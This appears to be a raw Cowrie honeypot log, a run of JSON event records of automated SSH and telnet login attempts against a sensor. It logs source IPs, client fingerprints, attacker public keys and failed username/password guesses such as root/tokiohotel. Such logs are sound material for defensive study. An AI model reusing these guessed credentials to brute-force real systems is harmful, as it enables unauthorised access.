{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:e9:7f:20:ce:14:f1:e4:7b:eb:28:e1:84:9d:4f:61","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII5QPnAQwK5f9SuYF2OE2ibgYSAerNfQ9f86109YxUYE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.523205Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:16:49:bf:f3:99:d8:14:76:75:ae:46:f1:ab:34:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5EP2wt4crkaKzaTRm3aIyvVmj9qwDZWJfu824YWqfgXoUi5N52E8uSMOQ7/zqGmlXhjOMpHQpedziStQBCnbnyKYxUX3839KXKx4i9nBRPh/VtRcFr1mK9AaXJaAE3WDkzYPls6D7tOFReOSXokshiULqyQ06wEh32HGrSNv7wtcc12Lx1XE3KKiRjhlsnretpvVUfdEJI1XYDpSt4Dq0MmUNGTUz+BHTw7CKs3AaqqC1ZGQLDpCpSxkpX07YB/slo0Nk5sXdypnoLVEQC+Nb+/NJdEbuhASv0JI0YMRVXMyO4e6HiM+VRdFkoHf2PZv8zxtf1yR4ECUBhi/bUnHZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:16:49:bf:f3:99:d8:14:76:75:ae:46:f1:ab:34:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.533197Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:16:49:bf:f3:99:d8:14:76:75:ae:46:f1:ab:34:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5EP2wt4crkaKzaTRm3aIyvVmj9qwDZWJfu824YWqfgXoUi5N52E8uSMOQ7/zqGmlXhjOMpHQpedziStQBCnbnyKYxUX3839KXKx4i9nBRPh/VtRcFr1mK9AaXJaAE3WDkzYPls6D7tOFReOSXokshiULqyQ06wEh32HGrSNv7wtcc12Lx1XE3KKiRjhlsnretpvVUfdEJI1XYDpSt4Dq0MmUNGTUz+BHTw7CKs3AaqqC1ZGQLDpCpSxkpX07YB/slo0Nk5sXdypnoLVEQC+Nb+/NJdEbuhASv0JI0YMRVXMyO4e6HiM+VRdFkoHf2PZv8zxtf1yR4ECUBhi/bUnHZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.537941Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:0b:8e:f1:b7:f2:97:b3:0a:88:92:dc:22:d5:c5:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT9mWr4dQdP1+w0yb0rRKxrmTlW5VuvoFWOqt/tixovM/C6+EjeOzusCMhAEDKqQkyio8xZ1J+zB/h98tejDPQDrQ+s9eTKaqaQkpCj5QGvFUu/ltc5mROixKavfAxZOQEdm0LywMq9BLxpD9NpJi2j0WSozmUSjU3RSIaoKBpLHZOgIEcucoWWSiTHcI+uhN5U55Fpx/FXeclRTD/n6WXoe5c50V9x3157XXYRRS4VcNysoAVMoaeliqFU+K8IcOwz5j2qCQY4+jIMUV4ORuAEchbzHu+voGBUwaQJvBs2GhJhufN+ylm0u1BfQsybD2fWbUkD6dqbAdYTTrs9yiF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:0b:8e:f1:b7:f2:97:b3:0a:88:92:dc:22:d5:c5:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.547562Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:0b:8e:f1:b7:f2:97:b3:0a:88:92:dc:22:d5:c5:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT9mWr4dQdP1+w0yb0rRKxrmTlW5VuvoFWOqt/tixovM/C6+EjeOzusCMhAEDKqQkyio8xZ1J+zB/h98tejDPQDrQ+s9eTKaqaQkpCj5QGvFUu/ltc5mROixKavfAxZOQEdm0LywMq9BLxpD9NpJi2j0WSozmUSjU3RSIaoKBpLHZOgIEcucoWWSiTHcI+uhN5U55Fpx/FXeclRTD/n6WXoe5c50V9x3157XXYRRS4VcNysoAVMoaeliqFU+K8IcOwz5j2qCQY4+jIMUV4ORuAEchbzHu+voGBUwaQJvBs2GhJhufN+ylm0u1BfQsybD2fWbUkD6dqbAdYTTrs9yiF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.551554Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:cf:15:4f:1b:46:cb:6e:36:2a:57:d9:5e:de:b7:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb2hWffvVE7Dr04qlhXpJEPPYs/Gf/6MH9ZZ4nexDCh2743UghfdhLODnyL/mOFbH/g2SzW9g0CYjG+oKoOc7dgZ7nLmiRgaIEmwxGD2ppAFWExup6rFCeIHYDaEjn90ZgcaxHLyfb7RndilhdKujpUKBeJ195Dq7tzIf5gc+80+Mcsr5n2d8esOVPlFafYGWme0tnBHQ4AewkByG9BLUY1/omlj8GiIqCzJBnQU+K8a0gM+fA5I6fOaGqAlX/mY0QxLZnjmS9B9/HiKg1/Wn1Mq4eWTvJyjT2UiiJCSJDBglFgprVul/GKaEhAjIGrVFdSSQ7G7L0aRkCPQV+FuFP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:cf:15:4f:1b:46:cb:6e:36:2a:57:d9:5e:de:b7:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.563690Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:cf:15:4f:1b:46:cb:6e:36:2a:57:d9:5e:de:b7:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb2hWffvVE7Dr04qlhXpJEPPYs/Gf/6MH9ZZ4nexDCh2743UghfdhLODnyL/mOFbH/g2SzW9g0CYjG+oKoOc7dgZ7nLmiRgaIEmwxGD2ppAFWExup6rFCeIHYDaEjn90ZgcaxHLyfb7RndilhdKujpUKBeJ195Dq7tzIf5gc+80+Mcsr5n2d8esOVPlFafYGWme0tnBHQ4AewkByG9BLUY1/omlj8GiIqCzJBnQU+K8a0gM+fA5I6fOaGqAlX/mY0QxLZnjmS9B9/HiKg1/Wn1Mq4eWTvJyjT2UiiJCSJDBglFgprVul/GKaEhAjIGrVFdSSQ7G7L0aRkCPQV+FuFP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.567868Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.583801Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58122897148132,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:29.055968Z","src_ip":"152.42.224.71","session":"b1ff4064117d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.00452446937561,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:30.310009Z","src_ip":"190.140.146.1","session":"77d974cbcc67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":37926,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f9b8fb14ceb","protocol":"ssh","message":"New connection: 43.134.32.136:37926 (159.203.135.109:22) [session: 0f9b8fb14ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:34.512325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:34.517122Z","src_ip":"43.134.32.136","session":"0f9b8fb14ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:34.762533Z","src_ip":"43.134.32.136","session":"0f9b8fb14ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yz","password":"123456","message":"login attempt [yz/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:35.772950Z","src_ip":"43.134.32.136","session":"0f9b8fb14ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:37.020530Z","src_ip":"43.134.32.136","session":"0f9b8fb14ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f06ad007ab78","protocol":"telnet","message":"New connection: 152.42.224.71:51856 (10.17.0.5:23) [session: f06ad007ab78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:39.593143Z"}
{"eventid":"cowrie.session.closed","duration":109.99384832382202,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:41.260900Z","src_ip":"152.42.224.71","session":"2ad0868cae48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33650,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18733a76742","protocol":"ssh","message":"New connection: 103.82.132.16:33650 (10.17.0.5:22) [session: b18733a76742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:53.237470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:53.243231Z","src_ip":"103.82.132.16","session":"b18733a76742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:53.510582Z","src_ip":"103.82.132.16","session":"b18733a76742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tokiohotel","message":"login attempt [root/tokiohotel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:54.299893Z","src_ip":"103.82.132.16","session":"b18733a76742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:55.566130Z","src_ip":"103.82.132.16","session":"b18733a76742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00223398208618,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:56.372072Z","src_ip":"152.42.224.71","session":"cdd311f507fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00140023231506,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:00.416726Z","src_ip":"152.42.224.71","session":"fb698805ec38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"6371c4168e48","protocol":"telnet","message":"New connection: 152.42.224.71:44566 (10.17.0.5:23) [session: 6371c4168e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:02.766006Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44578,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca0dd516ff2","protocol":"telnet","message":"New connection: 152.42.224.71:44578 (10.17.0.5:23) [session: 4ca0dd516ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:04.522287Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.248","src_port":18800,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0b50649818","protocol":"ssh","message":"New connection: 31.57.184.248:18800 (10.17.0.5:22) [session: 8c0b50649818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:11.216525Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:11.220863Z","src_ip":"31.57.184.248","session":"8c0b50649818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.248","src_port":18806,"dst_ip":"10.17.0.5","dst_port":22,"session":"978243fbb7e9","protocol":"ssh","message":"New connection: 31.57.184.248:18806 (10.17.0.5:22) [session: 978243fbb7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:11.351808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:11.359004Z","src_ip":"31.57.184.248","session":"978243fbb7e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:11.461197Z","src_ip":"31.57.184.248","session":"978243fbb7e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"soccer","message":"login attempt [1234/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:11.668800Z","src_ip":"31.57.184.248","session":"978243fbb7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:12.774858Z","src_ip":"31.57.184.248","session":"978243fbb7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.13784861564636,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:15.298610Z","src_ip":"152.42.224.71","session":"114572bf272a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49400,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6db5d42d59d","protocol":"ssh","message":"New connection: 80.94.92.184:49400 (10.17.0.5:22) [session: f6db5d42d59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:17.336277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:17.371942Z","src_ip":"80.94.92.184","session":"f6db5d42d59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:17.522486Z","src_ip":"80.94.92.184","session":"f6db5d42d59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:18.159548Z","src_ip":"80.94.92.184","session":"f6db5d42d59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:19.339336Z","src_ip":"80.94.92.184","session":"f6db5d42d59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.45355081558228,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:21.892457Z","src_ip":"152.42.224.71","session":"001f0859c2b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48202,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c1aeac35461","protocol":"telnet","message":"New connection: 152.42.224.71:48202 (10.17.0.5:23) [session: 0c1aeac35461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:22.346269Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35296,"dst_ip":"10.17.0.5","dst_port":23,"session":"614f6dea0b75","protocol":"telnet","message":"New connection: 152.42.224.71:35296 (10.17.0.5:23) [session: 614f6dea0b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:39.345890Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35298,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0e77db8cc0","protocol":"telnet","message":"New connection: 152.42.224.71:35298 (10.17.0.5:23) [session: 1e0e77db8cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:43.436497Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35302,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c15f51729c0","protocol":"telnet","message":"New connection: 152.42.224.71:35302 (10.17.0.5:23) [session: 9c15f51729c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:43.837082Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35318,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9153e47e128","protocol":"telnet","message":"New connection: 152.42.224.71:35318 (10.17.0.5:23) [session: a9153e47e128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:44.898751Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57c67108fb5","protocol":"telnet","message":"New connection: 152.42.224.71:51578 (10.17.0.5:23) [session: a57c67108fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:46.966187Z"}
{"eventid":"cowrie.session.closed","duration":44.67470049858093,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:49.196856Z","src_ip":"152.42.224.71","session":"4ca0dd516ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51580,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6e9b1c6e7bd","protocol":"telnet","message":"New connection: 152.42.224.71:51580 (10.17.0.5:23) [session: b6e9b1c6e7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:50.857078Z"}
